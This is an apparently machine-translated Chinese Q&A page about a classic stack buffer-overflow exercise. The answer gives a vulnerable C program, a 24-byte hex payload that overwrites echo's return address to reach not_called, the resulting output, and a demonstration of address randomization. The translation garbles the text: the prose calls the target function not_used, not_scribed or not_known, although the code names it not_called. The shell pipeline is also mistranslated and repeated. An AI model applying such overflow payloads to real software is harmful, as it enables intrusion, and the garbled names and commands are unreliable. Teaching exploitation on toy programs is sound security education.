c - 强制程序使用输入字符串调用 C 函数

Question

所以我正在做一个练习，我想通过输入缓冲区来调用函数 void not_used() 。基本上我想做的是使用缓冲区溢出来调用 not_used()。我通过使用二进制漏洞利用字符串，然后使用程序 hex2raw(采用十六进制格式，然后将其转换为十进制数字的 ASCII。)来解决此问题。然后，我将该二进制漏洞利用字符串放入 .txt 文件中，然后使用unix 终端中的一系列管道用于调用 not_used()，如下所示:

猫利用.txt | ./hex2raw | ./hex2raw | ./nameofpgrm

所以我正在努力寻找二进制漏洞利用字符串。我认为我需要做的是找到内存中使用 objdump 调用 not_scribed 的位置，但我不确定。对我能做什么有什么帮助吗？我知道我将不得不使用 gdb 来找到它。我只是真的不知道该去哪里寻找。

#include <stdlib.h>
#include <stdio.h>
void echo();

/* Main program */
int main() {
  while (1)
      echo();
  return(0); // never called
} // main

/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
  int c = getchar();
  char *p = dest;
  while (c != EOF && c != '\n') {
    *p++ = c;
     c = getchar();
  }
  *p = '\0';
  return dest;
} // mygets

/* Echo Line */
void echo() {
  char buf[4];    /* Way too small */

  mygets(buf);
  puts(buf);
} // echo

void not_called() {
  printf("This routine is never called\n");
  printf("If you see this message, something bad has happend\n");
  exit(0);
} // not_called

Answer 1

您想要用从 stdin 读取的字节覆盖函数 echo 的返回地址，以便现在指向 not_used 入口点。

让我们使用 Mac OS/X 10.10 又名 Yosemite 为例。我简化了代码并添加了一个额外的 printf 来获取函数 not_known 的实际地址:

#include <stdlib.h>
#include <stdio.h>

void echo(void) {
    char buf[4];    /* Way too small */
    gets(buf);
    puts(buf);
}

void not_called(void) {
    printf("This routine is never called\n");
    printf("If you see this message, something bad has happened\n");
    exit(0);
}

int main(void) {
    printf("not_called is at address %p\n", not_called);
    echo();
}

让我们使用 clang 编译并执行此代码:

chqrlie> clang t20.c && ./a.out

输出非常清晰:

not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.

使用十六进制编辑器，让我们创建输入并将其粘贴到控制台:短缓冲区 buf 在 64 位上对齐，位于保存的堆栈帧指针 rbp 副本下方 8 个字节，其本身后面跟着我们要覆盖的返回地址。十六进制输入例如:

0000  3031 3233 3435 3637-3839 3031 3233 3435  0123456789012345
0010  50de da06 0100 0000-                     P��.....

让我们将这 24 个字节粘贴到控制台并按 Enter 键:

0123456789012345P��^F^A^@^@^@
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11

函数echo使用gets读取stdin，这24个字节存储在buf末尾之外，覆盖帧指针rbp，返回地址和一个额外的 0 字节。 echo 然后调用 puts 将字符串输出到 buf 中。输出按预期停止在第一个“'\0'”处。然后从堆栈中恢复 rbp 并获取损坏的值，控制权转移到返回地址。返回地址被函数 not_called 的地址覆盖，因此这就是接下来执行的内容。事实上，我们看到来自函数 not_used 的消息，并且由于某种原因 exit 崩溃而不是优雅地退出进程。

我特意使用了 gets ，以便读者了解此函数很容易导致缓冲区溢出。无论缓冲区有多大，都可以创造输入来使程序崩溃或让它做有趣的事情。

另一个有趣的发现是 Mac OS/X 如何试图防止攻击者太容易地使用这个技巧:程序打印的地址在每次执行时都会有所不同:

chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.

代码每次加载到不同的地址，随机选择。使函数 echo 返回到 not_used 所需的输入每次都不同。尝试您自己的操作系统并检查它是否使用此技巧。尝试创造适当的输入来完成工作(这取决于您的编译器和系统)。玩得开心!